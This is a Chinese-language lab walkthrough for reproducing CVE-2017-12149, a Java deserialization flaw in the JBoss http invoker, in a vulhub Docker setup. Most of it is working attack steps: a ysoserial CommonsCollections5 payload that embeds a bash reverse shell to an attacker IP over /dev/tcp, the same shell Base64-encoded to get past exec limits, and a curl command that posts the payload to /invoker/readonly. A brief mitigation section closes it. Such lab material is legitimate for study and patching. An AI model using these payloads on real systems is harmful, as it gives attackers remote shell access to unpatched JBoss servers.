一、漏洞说明
 该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化
 二、搭建环境
 cd vulhub/jboss/CVE-2017-12149
 docker-compose up -d
 

三、漏洞验证
 访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞
 
四、漏洞复现
 使用JavaDeserH2HC攻击
 使用工具JavaDeserH2HC
 下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)
 1.nc开启监听
 
2.生成序列化数据
  ① ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。所以我们使用 ysoserial 来复现生成序列化数据,并重定向到exp.ser文件。由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5,本来的命令是这样的:
 java -jar ysoserial.jar CommonsCollections5 “bash -i >& /dev/tcp/192.168.155.2/21 0>&1” >exp.ser
 

产生exp.ser,(192.168.155.2是攻击机ip)
 
②但是我们在使用bash反弹shell的时候,由于Runtime.getRuntime().exec()中不能使用重定向和管道符符号,这里需要对其进行Base64编码(点我在线编码),再使用,所以转化后的命令为:
 bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
 Base64编码后
 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
 所以payload:
 java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser
 
执行完该命令之后,会在本地桌面生成一个序列化的文件exp.ser,并利用cat查看其内容。
 
然后,将生成的exp复制到JavaDeserH2HC-master目录方便下一步利用
 3.反弹shell
 使用序列化数据反弹shell
 curl http://192.168.25.128:8080/invoker/readonly --data-binary @exp.ser
 

五、防护
 删除http-invoker.sar组件,路径如下
 jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
 升级JBoss



















